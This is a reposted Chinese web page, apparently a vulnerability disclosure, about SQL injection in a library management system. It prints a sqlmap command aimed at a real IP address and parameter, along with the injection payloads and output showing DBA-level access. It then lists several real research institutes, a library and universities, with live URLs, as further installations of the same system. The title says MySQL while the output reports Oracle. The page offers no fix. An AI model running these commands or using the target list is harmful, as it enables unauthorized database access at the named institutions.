某通用图书馆管理系统SQL注入_MySQL

来源：动视网责编：小采时间：2020-11-09 19:18:21

某通用图书馆管理系统SQL注入_MySQL

某通用图书馆管理系统SQL注入_MySQL:某通用图书馆管理系统SQL注入，主要是某个某页面存在SQL注射。sqlmap.py -u http://219.242.65.10/fsweb/MakeIntert.aspxID=123 --is-dba sqlmap identified the following injection points with a total

推荐度：

点击下载本文 文档为doc格式

导读某通用图书馆管理系统SQL注入_MySQL:某通用图书馆管理系统SQL注入，主要是某个某页面存在SQL注射。sqlmap.py -u http://219.242.65.10/fsweb/MakeIntert.aspxID=123 --is-dba sqlmap identified the following injection points with a total

某通用图书馆管理系统SQL注入，主要是某个某页面存在SQL注射。

sqlmap.py -u http://219.242.65.10/fsweb/MakeIntert.aspx?ID=123 --is-dba
 
 sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
 ---
 Place: GET
 Parameter: ID
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: ID=123 AND 7478=7478
 
 Type: AND/OR time-based blind
 Title: Oracle AND time-based blind
 Payload: ID=123 AND 9273=DBMS_PIPE.RECEIVE_MESSAGE(CHR(105)||CHR(111)||CHR(105)||CHR(98),5)
 ---
 [11:34:18] [INFO] the back-end DBMS is Oracle
 web server operating system: Windows 2008 R2 or 7
 web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
 back-end DBMS: Oracle
 [11:34:18] [INFO] testing if current user is DBA
 current user is DBA: True
 [11:34:25] [INFO] fetched data logged to text files under '/Users/Leek/Desktop/sqlmap-dev/output/219.242.65.10'

DBA==True
在它的客户名单里测试了几个，
国家图书馆中央社会主义分馆:http://www.zysylib.org.cn/
中国科学院物理研究所:http://libiop.iphy.ac.cn/
中国科学院软研所:http://124.16.136.160:8083/iscas_lib/
还有各种大学用户，
中国矿业大学:http://219.242.65.10/fsweb/Default.aspx
华东交通大学:http://lib.ecjtu.jx.cn:80/gdweb
华北科技学院:http://211.81.174.140/

某通用图书馆管理系统SQL注入_MySQL

推荐度：

点击下载本文 文档为doc格式

标签：图书馆通用 sql

热门焦点

某通用图书馆管理系统SQL注入_MySQL

某通用图书馆管理系统SQL注入_MySQL

某通用图书馆管理系统SQL注入_MySQL

最新推荐

猜你喜欢

热门推荐